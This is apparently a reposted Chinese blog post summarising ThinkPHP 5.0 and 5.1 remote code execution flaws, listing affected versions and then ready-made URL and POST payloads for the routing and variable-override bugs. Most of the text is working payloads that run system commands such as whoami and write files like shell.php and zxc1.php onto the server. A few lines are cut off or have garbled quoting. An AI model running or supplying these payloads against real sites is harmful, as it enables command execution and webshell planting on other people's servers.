阅读 79

ThinkPHP 5.x.x RCE 总结

ThinkPHP 5.x [路由控制不严谨] RCE

影响范围

ThinkPHP 5.0-5.0.23

ThinkPHP 5.1-5.1.31

Payload


?s=index/think\request/input?data[]=phpinfo()&filter=assert

# 远程代码命令执行 tp 5.0.7 ~ 5.0.23

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \‘\‘>zxc2.php‘

?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=


# 远程代码命令执行 tp 5.1.x

?s=index/\think\Request/input&filter=system&data=whoami

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content= 

vars[0]的值是PHP的函数

vars[1][]的值是PHP的函数(vars[0])的参数

system(whoami)

ThinkPHP 5.0.x [变量覆盖] RCE

影响范围

ThinkPHP 5.0.x

利用条件

Payload


# tp 5.0.0 ~ 5.0.12 无条件触发(参数a可以替换成get[]/route[]等)
_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter=system&a=whoami

# tp 5.0.13 ~ 5.0.23 有条件触发(需要有第三方库,如captcha或开启debug)
# GET index.php?s=captcha 第三方库
_method=__construct&filter=system&a=whoami
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&filter[]=system&method=get&get[]=whoami ||
_method=__construct&filter=system&method=GET&route[]=whoami

原文:https://www.cnblogs.com/wangyuyang1016/p/14911128.html

文章分类
代码人生
文章标签
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐